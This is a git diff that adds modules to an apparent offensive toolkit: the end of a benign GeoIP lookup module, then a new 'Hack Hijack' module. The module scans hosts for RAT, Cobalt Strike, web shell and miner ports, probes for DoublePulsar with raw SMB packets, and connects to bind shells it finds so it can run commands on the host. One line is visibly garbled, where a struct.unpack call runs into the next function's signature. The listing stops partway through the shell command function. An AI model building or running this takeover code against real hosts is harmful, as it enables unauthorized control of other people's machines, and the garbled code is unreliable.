+ result['country'] = geo_data.get('country_name') or geo_data.get('country')
+ result['region'] = geo_data.get('region')
+ result['city'] = geo_data.get('city')
+ result['latitude'] = geo_data.get('latitude') or geo_data.get('lat')
+ result['longitude'] = geo_data.get('longitude') or geo_data.get('lon')
+ result['isp'] = geo_data.get('isp') or geo_data.get('org')
+ result['org'] = geo_data.get('org')
+
+ if not result['ipv4']:
+ result['ipv4'] = geo_data.get('ip')
+
+ # Generate map links
+ if result['latitude'] and result['longitude']:
+ lat, lon = result['latitude'], result['longitude']
+ result['map_osm'] = f"https://www.openstreetmap.org/#map=13/{lat}/{lon}"
+ result['map_google'] = f"https://www.google.com/maps/@{lat},{lon},12z"
+
+ return result
+
+ def _query_ipwhois(self, ip: str) -> dict:
+ """Query ipwho.is API.
+
+ Args:
+ ip: IP address to lookup.
+
+ Returns:
+ Dict with GEO data or None.
+ """
+ try:
+ url = f"https://ipwho.is/{ip}" if ip else "https://ipwho.is/"
+ response = self.session.get(url, timeout=self.timeout)
+ data = response.json()
+
+ if data.get('success') is False:
+ return None
+
+ return {
+ 'ip': data.get('ip'),
+ 'country_code': data.get('country_code'),
+ 'country_name': data.get('country'),
+ 'region': data.get('region'),
+ 'city': data.get('city'),
+ 'latitude': data.get('latitude'),
+ 'longitude': data.get('longitude'),
+ 'isp': data.get('connection', {}).get('isp'),
+ 'org': data.get('connection', {}).get('org'),
+ }
+ except Exception as e:
+ print(f"{Colors.DIM} ipwho.is error: {e}{Colors.RESET}")
+ return None
+
+ def _query_ipinfo(self, ip: str) -> dict:
+ """Query ipinfo.io API.
+
+ Args:
+ ip: IP address to lookup.
+
+ Returns:
+ Dict with GEO data or None.
+ """
+ try:
+ url = f"https://ipinfo.io/{ip}/json" if ip else "https://ipinfo.io/json"
+ response = self.session.get(url, timeout=self.timeout)
+ data = response.json()
+
+ loc = data.get('loc', ',').split(',')
+ lat = float(loc[0]) if len(loc) > 0 and loc[0] else None
+ lon = float(loc[1]) if len(loc) > 1 and loc[1] else None
+
+ return {
+ 'ip': data.get('ip'),
+ 'country_code': data.get('country'),
+ 'country_name': data.get('country'),
+ 'region': data.get('region'),
+ 'city': data.get('city'),
+ 'latitude': lat,
+ 'longitude': lon,
+ 'isp': data.get('org'),
+ 'org': data.get('org'),
+ }
+ except Exception as e:
+ print(f"{Colors.DIM} ipinfo.io error: {e}{Colors.RESET}")
+ return None
+
+ def lookup_self(self) -> dict:
+ """Lookup your own public IP.
+
+ Returns:
+ Dict with geolocation information.
+ """
+ print(f"{Colors.CYAN}[*] Looking up your public IP...{Colors.RESET}")
+ return self.lookup('')
+
+ def bulk_lookup(self, targets: list) -> list:
+ """Perform bulk GEO lookups.
+
+ Args:
+ targets: List of IPs/domains to lookup.
+
+ Returns:
+ List of result dicts.
+ """
+ results = []
+ for i, target in enumerate(targets):
+ print(f"\n{Colors.CYAN}[{i+1}/{len(targets)}] Looking up: {target}{Colors.RESET}")
+ result = self.lookup(target)
+ results.append(result)
+ time.sleep(0.5) # Rate limiting
+ return results
+
+
+def display_result(result: dict):
+ """Display lookup result nicely."""
+ if 'error' in result:
+ print(f"{Colors.RED}[X] Error: {result['error']}{Colors.RESET}")
+ return
+
+ print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}")
+ print(f"{Colors.GREEN}{Colors.BOLD}Target:{Colors.RESET} {result['target']}")
+ print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}")
+
+ if result['ipv4']:
+ print(f" {Colors.GREEN}IPv4:{Colors.RESET} {result['ipv4']}")
+ if result['ipv6']:
+ print(f" {Colors.GREEN}IPv6:{Colors.RESET} {result['ipv6']}")
+ if result['domain'] and result['domain'] != result['target']:
+ print(f" {Colors.GREEN}Domain:{Colors.RESET} {result['domain']}")
+
+ print()
+
+ if result['country_code']:
+ country_str = f"{result['country_code']}"
+ if result['country'] and result['country'] != result['country_code']:
+ country_str += f" ({result['country']})"
+ print(f" {Colors.GREEN}Country:{Colors.RESET} {country_str}")
+
+ if result['region']:
+ print(f" {Colors.GREEN}Region:{Colors.RESET} {result['region']}")
+ if result['city']:
+ print(f" {Colors.GREEN}City:{Colors.RESET} {result['city']}")
+ if result['isp']:
+ print(f" {Colors.GREEN}ISP:{Colors.RESET} {result['isp']}")
+
+ if result['latitude'] and result['longitude']:
+ print(f"\n {Colors.GREEN}Coordinates:{Colors.RESET} {result['latitude']}, {result['longitude']}")
+
+ if result['map_osm']:
+ print(f"\n {Colors.DIM}OpenStreetMap: {result['map_osm']}{Colors.RESET}")
+ if result['map_google']:
+ print(f" {Colors.DIM}Google Maps: {result['map_google']}{Colors.RESET}")
+
+ print()
+
+
+def display_menu():
+ """Display the GEO IP module menu."""
+ print(f"""
+{Colors.CYAN} GEO IP/Domain Lookup{Colors.RESET}
+{Colors.DIM} Get geolocation for IPs, domains, and URLs{Colors.RESET}
+{Colors.DIM}{'─' * 50}{Colors.RESET}
+
+ {Colors.GREEN}[1]{Colors.RESET} Lookup IP/Domain/URL
+ {Colors.GREEN}[2]{Colors.RESET} Lookup My IP
+ {Colors.GREEN}[3]{Colors.RESET} Bulk Lookup from File
+
+ {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu
+""")
+
+
+def run():
+ """Main entry point for the module."""
+ if requests is None:
+ print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}")
+ print(f"{Colors.DIM} Install with: pip install requests{Colors.RESET}")
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+ return
+
+ lookup = GeoIPLookup()
+
+ while True:
+ display_menu()
+ choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip()
+
+ if choice == '0':
+ break
+
+ elif choice == '1':
+ print(f"\n{Colors.CYAN}Enter IP, domain, or URL:{Colors.RESET}")
+ print(f"{Colors.DIM}Examples: 8.8.8.8, google.com, https://example.com/path{Colors.RESET}")
+ target = input(f"\n{Colors.GREEN}Target: {Colors.RESET}").strip()
+
+ if not target:
+ continue
+
+ result = lookup.lookup(target)
+ display_result(result)
+ input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+ elif choice == '2':
+ result = lookup.lookup_self()
+ display_result(result)
+ input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+ elif choice == '3':
+ print(f"\n{Colors.CYAN}Enter path to file with targets (one per line):{Colors.RESET}")
+ filepath = input(f"\n{Colors.GREEN}File path: {Colors.RESET}").strip()
+
+ if not filepath or not os.path.exists(filepath):
+ print(f"{Colors.RED}[X] File not found{Colors.RESET}")
+ continue
+
+ try:
+ with open(filepath, 'r') as f:
+ targets = [line.strip() for line in f if line.strip()]
+
+ if not targets:
+ print(f"{Colors.RED}[X] No targets found in file{Colors.RESET}")
+ continue
+
+ print(f"{Colors.GREEN}[+] Found {len(targets)} targets{Colors.RESET}")
+ confirm = input(f"\n{Colors.YELLOW}Proceed with lookup? (y/n): {Colors.RESET}").strip().lower()
+
+ if confirm == 'y':
+ results = lookup.bulk_lookup(targets)
+ for result in results:
+ display_result(result)
+
+ except Exception as e:
+ print(f"{Colors.RED}[X] Error reading file: {e}{Colors.RESET}")
+
+ input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
+
+ else:
+ print(f"{Colors.RED}[!] Invalid option{Colors.RESET}")
+
+
+if __name__ == "__main__":
+ run()
diff --git a/modules/hack_hijack.py b/modules/hack_hijack.py
new file mode 100644
index 0000000..9e9b097
--- /dev/null
+++ b/modules/hack_hijack.py
@@ -0,0 +1,1100 @@
+"""AUTARCH Hack Hijack Module
+
+Scans target systems for signs of existing compromise — open backdoors,
+known exploit artifacts, rogue services, suspicious listeners — then
+provides tools to take over those footholds.
+
+Detection signatures include:
+- EternalBlue/DoublePulsar (MS17-010) backdoors
+- Common RAT listeners (Meterpreter, Cobalt Strike, njRAT, etc.)
+- Known backdoor ports and banner fingerprints
+- Web shells on HTTP services
+- Suspicious SSH authorized_keys or rogue SSHD
+- Open reverse-shell listeners
+- Rogue SOCKS/HTTP proxies
+- Cryptocurrency miners
+"""
+
+DESCRIPTION = "Hijack already-compromised systems"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import os
+import json
+import time
+import socket
+import struct
+import threading
+import subprocess
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Dict, List, Optional, Any
+from dataclasses import dataclass, field
+
+try:
+ from core.paths import find_tool, get_data_dir
+except ImportError:
+ import shutil
+ def find_tool(name):
+ return shutil.which(name)
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+
+# ── Known Backdoor Signatures ────────────────────────────────────────────────
+
+@dataclass
+class BackdoorSignature:
+ name: str
+ port: int
+ protocol: str # tcp / udp
+ banner_pattern: str = '' # regex or substring in banner
+ probe: bytes = b'' # bytes to send to trigger banner
+ description: str = ''
+ category: str = 'generic' # eternalblue, rat, webshell, miner, proxy, shell
+ takeover_method: str = '' # how to hijack
+
+
+# Port-based detection signatures
+BACKDOOR_SIGNATURES: List[BackdoorSignature] = [
+ # ── EternalBlue / DoublePulsar ────────────────────────────────────────
+ BackdoorSignature(
+ name='DoublePulsar SMB Backdoor',
+ port=445,
+ protocol='tcp',
+ description='NSA DoublePulsar implant via EternalBlue (MS17-010). '
+ 'Detected by SMB Trans2 SESSION_SETUP anomaly.',
+ category='eternalblue',
+ takeover_method='doublepulsar_inject',
+ ),
+
+ # ── Common RAT / C2 Listeners ─────────────────────────────────────────
+ BackdoorSignature(
+ name='Meterpreter Reverse TCP',
+ port=4444,
+ protocol='tcp',
+ banner_pattern='',
+ description='Default Metasploit Meterpreter reverse TCP handler.',
+ category='rat',
+ takeover_method='meterpreter_session',
+ ),
+ BackdoorSignature(
+ name='Meterpreter Bind TCP',
+ port=4444,
+ protocol='tcp',
+ banner_pattern='',
+ description='Metasploit bind shell / Meterpreter bind TCP.',
+ category='rat',
+ takeover_method='meterpreter_connect',
+ ),
+ BackdoorSignature(
+ name='Cobalt Strike Beacon (HTTPS)',
+ port=443,
+ protocol='tcp',
+ banner_pattern='',
+ description='Cobalt Strike default HTTPS beacon listener.',
+ category='rat',
+ takeover_method='beacon_takeover',
+ ),
+ BackdoorSignature(
+ name='Cobalt Strike Beacon (HTTP)',
+ port=80,
+ protocol='tcp',
+ banner_pattern='',
+ description='Cobalt Strike HTTP beacon listener.',
+ category='rat',
+ takeover_method='beacon_takeover',
+ ),
+ BackdoorSignature(
+ name='Cobalt Strike DNS',
+ port=53,
+ protocol='udp',
+ description='Cobalt Strike DNS beacon channel.',
+ category='rat',
+ takeover_method='dns_tunnel_hijack',
+ ),
+ BackdoorSignature(
+ name='njRAT',
+ port=5552,
+ protocol='tcp',
+ banner_pattern='njRAT',
+ description='njRAT default C2 port.',
+ category='rat',
+ takeover_method='generic_connect',
+ ),
+ BackdoorSignature(
+ name='DarkComet',
+ port=1604,
+ protocol='tcp',
+ banner_pattern='',
+ description='DarkComet RAT default port.',
+ category='rat',
+ takeover_method='generic_connect',
+ ),
+ BackdoorSignature(
+ name='Quasar RAT',
+ port=4782,
+ protocol='tcp',
+ description='Quasar RAT default listener.',
+ category='rat',
+ takeover_method='generic_connect',
+ ),
+ BackdoorSignature(
+ name='AsyncRAT',
+ port=6606,
+ protocol='tcp',
+ description='AsyncRAT default C2 port.',
+ category='rat',
+ takeover_method='generic_connect',
+ ),
+ BackdoorSignature(
+ name='Gh0st RAT',
+ port=8000,
+ protocol='tcp',
+ banner_pattern='Gh0st',
+ probe=b'Gh0st\x00',
+ description='Gh0st RAT C2 communication.',
+ category='rat',
+ takeover_method='generic_connect',
+ ),
+ BackdoorSignature(
+ name='Poison Ivy',
+ port=3460,
+ protocol='tcp',
+ description='Poison Ivy RAT default port.',
+ category='rat',
+ takeover_method='generic_connect',
+ ),
+
+ # ── Shell Backdoors ───────────────────────────────────────────────────
+ BackdoorSignature(
+ name='Netcat Listener',
+ port=4445,
+ protocol='tcp',
+ description='Common netcat reverse/bind shell port.',
+ category='shell',
+ takeover_method='raw_shell',
+ ),
+ BackdoorSignature(
+ name='Bind Shell (31337)',
+ port=31337,
+ protocol='tcp',
+ description='Classic "elite" backdoor port.',
+ category='shell',
+ takeover_method='raw_shell',
+ ),
+ BackdoorSignature(
+ name='Bind Shell (1337)',
+ port=1337,
+ protocol='tcp',
+ description='Common backdoor/bind shell port.',
+ category='shell',
+ takeover_method='raw_shell',
+ ),
+ BackdoorSignature(
+ name='Telnet Backdoor',
+ port=23,
+ protocol='tcp',
+ banner_pattern='login:',
+ description='Telnet service — often left open with weak/default creds.',
+ category='shell',
+ takeover_method='telnet_bruteforce',
+ ),
+
+ # ── Web Shells ────────────────────────────────────────────────────────
+ BackdoorSignature(
+ name='PHP Web Shell (8080)',
+ port=8080,
+ protocol='tcp',
+ banner_pattern='',
+ description='HTTP service on non-standard port — check for web shells.',
+ category='webshell',
+ takeover_method='webshell_detect',
+ ),
+ BackdoorSignature(
+ name='PHP Web Shell (8888)',
+ port=8888,
+ protocol='tcp',
+ description='HTTP service on port 8888 — common web shell host.',
+ category='webshell',
+ takeover_method='webshell_detect',
+ ),
+
+ # ── Proxies / Tunnels ─────────────────────────────────────────────────
+ BackdoorSignature(
+ name='SOCKS Proxy',
+ port=1080,
+ protocol='tcp',
+ description='SOCKS proxy — may be a pivot point.',
+ category='proxy',
+ takeover_method='socks_connect',
+ ),
+ BackdoorSignature(
+ name='SOCKS5 Proxy (9050)',
+ port=9050,
+ protocol='tcp',
+ description='Tor SOCKS proxy or attacker pivot.',
+ category='proxy',
+ takeover_method='socks_connect',
+ ),
+ BackdoorSignature(
+ name='HTTP Proxy (3128)',
+ port=3128,
+ protocol='tcp',
+ description='Squid/HTTP proxy — possible attacker tunnel.',
+ category='proxy',
+ takeover_method='http_proxy_use',
+ ),
+ BackdoorSignature(
+ name='SSH Tunnel (2222)',
+ port=2222,
+ protocol='tcp',
+ banner_pattern='SSH-',
+ description='Non-standard SSH — possibly attacker-planted SSHD.',
+ category='shell',
+ takeover_method='ssh_connect',
+ ),
+
+ # ── Miners ────────────────────────────────────────────────────────────
+ BackdoorSignature(
+ name='Cryptominer Stratum',
+ port=3333,
+ protocol='tcp',
+ banner_pattern='mining',
+ description='Stratum mining protocol — cryptojacking indicator.',
+ category='miner',
+ takeover_method='miner_redirect',
+ ),
+ BackdoorSignature(
+ name='Cryptominer (14444)',
+ port=14444,
+ protocol='tcp',
+ description='Common XMR mining pool port.',
+ category='miner',
+ takeover_method='miner_redirect',
+ ),
+]
+
+# Additional ports to probe beyond signature list
+EXTRA_SUSPICIOUS_PORTS = [
+ 1234, 1337, 2323, 3389, 4321, 4443, 4444, 4445, 5555, 5900,
+ 6660, 6666, 6667, 6697, 7777, 8443, 9001, 9090, 9999,
+ 12345, 17321, 17322, 20000, 27015, 31337, 33890, 40000,
+ 41337, 43210, 50000, 54321, 55553, 65535,
+]
+
+
+# ── Scan Result Types ─────────────────────────────────────────────────────────
+
+@dataclass
+class PortResult:
+ port: int
+ protocol: str
+ state: str # open, closed, filtered
+ banner: str = ''
+ service: str = ''
+
+
+@dataclass
+class BackdoorHit:
+ signature: str # name from BackdoorSignature
+ port: int
+ confidence: str # high, medium, low
+ banner: str = ''
+ details: str = ''
+ category: str = ''
+ takeover_method: str = ''
+
+
+@dataclass
+class ScanResult:
+ target: str
+ scan_time: str
+ duration: float
+ open_ports: List[PortResult] = field(default_factory=list)
+ backdoors: List[BackdoorHit] = field(default_factory=list)
+ os_guess: str = ''
+ smb_info: Dict[str, Any] = field(default_factory=dict)
+ nmap_raw: str = ''
+
+ def to_dict(self) -> dict:
+ return {
+ 'target': self.target,
+ 'scan_time': self.scan_time,
+ 'duration': round(self.duration, 2),
+ 'open_ports': [
+ {'port': p.port, 'protocol': p.protocol,
+ 'state': p.state, 'banner': p.banner, 'service': p.service}
+ for p in self.open_ports
+ ],
+ 'backdoors': [
+ {'signature': b.signature, 'port': b.port,
+ 'confidence': b.confidence, 'banner': b.banner,
+ 'details': b.details, 'category': b.category,
+ 'takeover_method': b.takeover_method}
+ for b in self.backdoors
+ ],
+ 'os_guess': self.os_guess,
+ 'smb_info': self.smb_info,
+ }
+
+
+# ── Hack Hijack Service ──────────────────────────────────────────────────────
+
+class HackHijackService:
+ """Scans for existing compromises and provides takeover capabilities."""
+
+ def __init__(self):
+ self._data_dir = os.path.join(get_data_dir(), 'hack_hijack')
+ os.makedirs(self._data_dir, exist_ok=True)
+ self._scans_file = os.path.join(self._data_dir, 'scans.json')
+ self._scans: List[dict] = []
+ self._load_scans()
+ self._active_sessions: Dict[str, dict] = {}
+
+ def _load_scans(self):
+ if os.path.exists(self._scans_file):
+ try:
+ with open(self._scans_file, 'r') as f:
+ self._scans = json.load(f)
+ except Exception:
+ self._scans = []
+
+ def _save_scans(self):
+ with open(self._scans_file, 'w') as f:
+ json.dump(self._scans[-100:], f, indent=2) # keep last 100
+
+ # ── Port Scanning ─────────────────────────────────────────────────────
+
+ def scan_target(self, target: str, scan_type: str = 'quick',
+ custom_ports: List[int] = None,
+ timeout: float = 3.0,
+ progress_cb=None) -> ScanResult:
+ """Scan a target for open ports and backdoor indicators.
+
+ scan_type: 'quick' (signature ports only), 'full' (signature + extra),
+ 'nmap' (use nmap if available), 'custom' (user-specified ports)
+ """
+ start = time.time()
+ result = ScanResult(
+ target=target,
+ scan_time=datetime.now(timezone.utc).isoformat(),
+ duration=0.0,
+ )
+
+ # Build port list
+ ports = set()
+ if scan_type == 'custom' and custom_ports:
+ ports = set(custom_ports)
+ else:
+ # Always include signature ports
+ for sig in BACKDOOR_SIGNATURES:
+ ports.add(sig.port)
+ if scan_type in ('full', 'nmap'):
+ ports.update(EXTRA_SUSPICIOUS_PORTS)
+
+ # Try nmap first if requested and available
+ if scan_type == 'nmap':
+ nmap_result = self._nmap_scan(target, ports, timeout)
+ if nmap_result:
+ result.open_ports = nmap_result.get('ports', [])
+ result.os_guess = nmap_result.get('os', '')
+ result.nmap_raw = nmap_result.get('raw', '')
+
+ # Fallback: socket-based scan
+ if not result.open_ports:
+ sorted_ports = sorted(ports)
+ total = len(sorted_ports)
+ results_lock = threading.Lock()
+ open_ports = []
+
+ def scan_port(port):
+ pr = self._check_port(target, port, timeout)
+ if pr and pr.state == 'open':
+ with results_lock:
+ open_ports.append(pr)
+
+ # Threaded scan — 50 concurrent threads
+ threads = []
+ for i, port in enumerate(sorted_ports):
+ t = threading.Thread(target=scan_port, args=(port,), daemon=True)
+ threads.append(t)
+ t.start()
+ if len(threads) >= 50:
+ for t in threads:
+ t.join(timeout=timeout + 2)
+ threads.clear()
+ if progress_cb and i % 10 == 0:
+ progress_cb(i, total)
+ for t in threads:
+ t.join(timeout=timeout + 2)
+
+ result.open_ports = sorted(open_ports, key=lambda p: p.port)
+
+ # Match open ports against backdoor signatures
+ result.backdoors = self._match_signatures(target, result.open_ports, timeout)
+
+ # Check SMB specifically for EternalBlue
+ if any(p.port == 445 and p.state == 'open' for p in result.open_ports):
+ result.smb_info = self._check_smb(target, timeout)
+ # Check DoublePulsar
+ dp_result = self._check_doublepulsar(target, timeout)
+ if dp_result:
+ result.backdoors.append(dp_result)
+
+ result.duration = time.time() - start
+
+ # Save scan
+ scan_dict = result.to_dict()
+ self._scans.append(scan_dict)
+ self._save_scans()
+
+ return result
+
+ def _check_port(self, host: str, port: int, timeout: float) -> Optional[PortResult]:
+ """TCP connect scan on a single port with banner grab."""
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(timeout)
+ result = sock.connect_ex((host, port))
+ if result == 0:
+ banner = ''
+ service = ''
+ try:
+ # Try to grab banner
+ sock.settimeout(2.0)
+ # Send probe for known ports
+ probe = self._get_probe(port)
+ if probe:
+ sock.send(probe)
+ banner = sock.recv(1024).decode('utf-8', errors='replace').strip()
+ service = self._identify_service(port, banner)
+ except Exception:
+ service = self._identify_service(port, '')
+ sock.close()
+ return PortResult(port=port, protocol='tcp', state='open',
+ banner=banner[:512], service=service)
+ sock.close()
+ except Exception:
+ pass
+ return None
+
+ def _get_probe(self, port: int) -> bytes:
+ """Return an appropriate probe for known ports."""
+ probes = {
+ 21: b'', # FTP sends banner automatically
+ 22: b'', # SSH sends banner automatically
+ 23: b'', # Telnet sends banner automatically
+ 25: b'', # SMTP sends banner
+ 80: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n',
+ 110: b'', # POP3 banner
+ 143: b'', # IMAP banner
+ 443: b'', # HTTPS — won't get plaintext banner
+ 3306: b'', # MySQL banner
+ 3389: b'', # RDP — binary protocol
+ 5432: b'', # PostgreSQL
+ 6379: b'INFO\r\n', # Redis
+ 8080: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n',
+ 8443: b'',
+ 8888: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n',
+ 27017: b'', # MongoDB
+ }
+ # Check backdoor signatures for specific probes
+ for sig in BACKDOOR_SIGNATURES:
+ if sig.port == port and sig.probe:
+ return sig.probe
+ return probes.get(port, b'')
+
+ def _identify_service(self, port: int, banner: str) -> str:
+ """Identify service from port number and banner."""
+ bl = banner.lower()
+ if 'ssh-' in bl:
+ return 'SSH'
+ if 'ftp' in bl:
+ return 'FTP'
+ if 'smtp' in bl or '220 ' in bl:
+ return 'SMTP'
+ if 'http' in bl:
+ return 'HTTP'
+ if 'mysql' in bl:
+ return 'MySQL'
+ if 'redis' in bl:
+ return 'Redis'
+ if 'mongo' in bl:
+ return 'MongoDB'
+ if 'postgresql' in bl:
+ return 'PostgreSQL'
+
+ well_known = {
+ 21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP',
+ 53: 'DNS', 80: 'HTTP', 110: 'POP3', 143: 'IMAP',
+ 443: 'HTTPS', 445: 'SMB', 993: 'IMAPS', 995: 'POP3S',
+ 1080: 'SOCKS', 1433: 'MSSQL', 1521: 'Oracle',
+ 3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL',
+ 5900: 'VNC', 6379: 'Redis', 8080: 'HTTP-Alt',
+ 8443: 'HTTPS-Alt', 27017: 'MongoDB',
+ }
+ return well_known.get(port, 'unknown')
+
+ def _match_signatures(self, host: str, open_ports: List[PortResult],
+ timeout: float) -> List[BackdoorHit]:
+ """Match open ports against backdoor signatures."""
+ hits = []
+ port_map = {p.port: p for p in open_ports}
+
+ for sig in BACKDOOR_SIGNATURES:
+ if sig.port not in port_map:
+ continue
+ port_info = port_map[sig.port]
+ confidence = 'low'
+ details = ''
+
+ # Banner match raises confidence
+ if sig.banner_pattern and sig.banner_pattern.lower() in port_info.banner.lower():
+ confidence = 'high'
+ details = f'Banner matches: {sig.banner_pattern}'
+ elif port_info.banner:
+ # Port open with some banner — medium
+ confidence = 'medium'
+ details = f'Port open, banner: {port_info.banner[:100]}'
+ else:
+ # Port open but no banner — check if it's a well-known service
+ if port_info.service in ('SSH', 'HTTP', 'HTTPS', 'FTP', 'SMTP',
+ 'DNS', 'MySQL', 'PostgreSQL', 'RDP'):
+ # Legitimate service likely — low confidence for backdoor
+ confidence = 'low'
+ details = f'Port open — likely legitimate {port_info.service}'
+ else:
+ confidence = 'medium'
+ details = 'Port open, no banner — suspicious'
+
+ hits.append(BackdoorHit(
+ signature=sig.name,
+ port=sig.port,
+ confidence=confidence,
+ banner=port_info.banner[:256],
+ details=details,
+ category=sig.category,
+ takeover_method=sig.takeover_method,
+ ))
+
+ return hits
+
+ # ── SMB / EternalBlue Detection ───────────────────────────────────────
+
+ def _check_smb(self, host: str, timeout: float) -> dict:
+ """Check SMB service details."""
+ info = {'vulnerable': False, 'version': '', 'os': '', 'signing': ''}
+ nmap = find_tool('nmap')
+ if not nmap:
+ return info
+ try:
+ cmd = [nmap, '-Pn', '-p', '445', '--script',
+ 'smb-os-discovery,smb-security-mode,smb-vuln-ms17-010',
+ '-oN', '-', host]
+ result = subprocess.run(cmd, capture_output=True, text=True,
+ timeout=30)
+ output = result.stdout
+ info['raw'] = output
+ if 'VULNERABLE' in output or 'ms17-010' in output.lower():
+ info['vulnerable'] = True
+ if 'OS:' in output:
+ for line in output.splitlines():
+ if 'OS:' in line:
+ info['os'] = line.split('OS:')[1].strip()
+ break
+ if 'message_signing' in output.lower():
+ if 'disabled' in output.lower():
+ info['signing'] = 'disabled'
+ elif 'enabled' in output.lower():
+ info['signing'] = 'enabled'
+ except Exception as e:
+ info['error'] = str(e)
+ return info
+
+ def _check_doublepulsar(self, host: str, timeout: float) -> Optional[BackdoorHit]:
+ """Check for DoublePulsar SMB implant via Trans2 SESSION_SETUP probe.
+
+ DoublePulsar responds to a specific SMB Trans2 SESSION_SETUP with
+ a modified multiplex ID (STATUS_NOT_IMPLEMENTED + MID manipulation).
+ """
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(timeout)
+ sock.connect((host, 445))
+
+ # SMB negotiate
+ negotiate = (
+ b'\x00\x00\x00\x85' # NetBIOS
+ b'\xff\x53\x4d\x42' # SMB
+ b'\x72' # Negotiate
+ b'\x00\x00\x00\x00' # Status
+ b'\x18\x53\xc0' # Flags
+ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+ b'\x00\x00\xff\xff\xff\xfe\x00\x00'
+ b'\x00\x00\x00\x00\x00\x62\x00'
+ b'\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b'
+ b'\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e'
+ b'\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e'
+ b'\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20'
+ b'\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f'
+ b'\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c'
+ b'\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c'
+ b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e'
+ b'\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00'
+ )
+ sock.send(negotiate)
+ sock.recv(1024)
+
+ # SMB Trans2 SESSION_SETUP (DoublePulsar detection probe)
+ trans2 = (
+ b'\x00\x00\x00\x4e' # NetBIOS
+ b'\xff\x53\x4d\x42' # SMB header
+ b'\x32' # Trans2
+ b'\x00\x00\x00\x00' # Status
+ b'\x18\x07\xc0' # Flags
+ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+ b'\x00\x00\x00\x00\xff\xfe\x00\x08' # MID=0x0800
+ b'\x00\x00\x0f\x0c\x00\x00\x00\x01'
+ b'\x00\x00\x00\x00\x00\x00\x00'
+ b'\xa6\xd9\xa4\x00\x00\x00\x00\x00'
+ b'\x00\x0e\x00\x00\x00\x0c\x00\x42\x00'
+ b'\x00\x00\x00\x00\x01\x00\x0e\x00'
+ b'\x00\x00\x0c\x00\x00\x00\x00\x00'
+ )
+ sock.send(trans2)
+ resp = sock.recv(1024)
+ sock.close()
+
+ if len(resp) >= 36:
+ # Check multiplex ID — DoublePulsar modifies it
+ mid = struct.unpack(' Optional[dict]:
+ """Use nmap for comprehensive scan if available."""
+ nmap = find_tool('nmap')
+ if not nmap:
+ return None
+ try:
+ port_str = ','.join(str(p) for p in sorted(ports))
+ cmd = [nmap, '-Pn', '-sV', '-O', '--version-intensity', '5',
+ '-p', port_str, '-oN', '-', host]
+ result = subprocess.run(cmd, capture_output=True, text=True,
+ timeout=120)
+ output = result.stdout
+ parsed_ports = []
+ os_guess = ''
+
+ for line in output.splitlines():
+ # Parse port lines: "445/tcp open microsoft-ds"
+ if '/tcp' in line or '/udp' in line:
+ parts = line.split()
+ if len(parts) >= 3:
+ port_proto = parts[0].split('/')
+ if len(port_proto) == 2 and parts[1] == 'open':
+ parsed_ports.append(PortResult(
+ port=int(port_proto[0]),
+ protocol=port_proto[1],
+ state='open',
+ service=' '.join(parts[2:]),
+ ))
+ if 'OS details:' in line:
+ os_guess = line.split('OS details:')[1].strip()
+ elif 'Running:' in line:
+ os_guess = os_guess or line.split('Running:')[1].strip()
+
+ return {
+ 'ports': parsed_ports,
+ 'os': os_guess,
+ 'raw': output,
+ }
+ except Exception:
+ return None
+
+ # ── Takeover Methods ──────────────────────────────────────────────────
+
+ def connect_raw_shell(self, host: str, port: int,
+ timeout: float = 5.0) -> dict:
+ """Connect to a raw bind shell (netcat-style)."""
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(timeout)
+ sock.connect((host, port))
+ # Try to get initial output
+ try:
+ sock.settimeout(2.0)
+ initial = sock.recv(4096).decode('utf-8', errors='replace')
+ except Exception:
+ initial = ''
+ session_id = f'shell_{host}_{port}_{int(time.time())}'
+ self._active_sessions[session_id] = {
+ 'type': 'raw_shell',
+ 'host': host,
+ 'port': port,
+ 'socket': sock,
+ 'connected_at': datetime.now(timezone.utc).isoformat(),
+ }
+ return {
+ 'ok': True,
+ 'session_id': session_id,
+ 'initial_output': initial,
+ 'message': f'Connected to bind shell at {host}:{port}',
+ }
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def shell_execute(self, session_id: str, command: str,
+ timeout: float = 10.0) -> dict:
+ """Execute a command on an active shell session."""
+ session = self._active_sessions.get(session_id)
+ if not session:
+ return {'ok': False, 'error': 'Session not found'}
+ sock = session.get('socket')
+ if not sock:
+ return {'ok': False, 'error': 'No socket for session'}
+ try:
+ sock.settimeout(timeout)
+ sock.send((command + '\n').encode())
+ time.sleep(0.5)
+ output = b''
+ sock.settimeout(2.0)
+ while True:
+ try:
+ chunk = sock.recv(4096)
+ if not chunk:
+ break
+ output += chunk
+ except socket.timeout:
+ break
+ return {
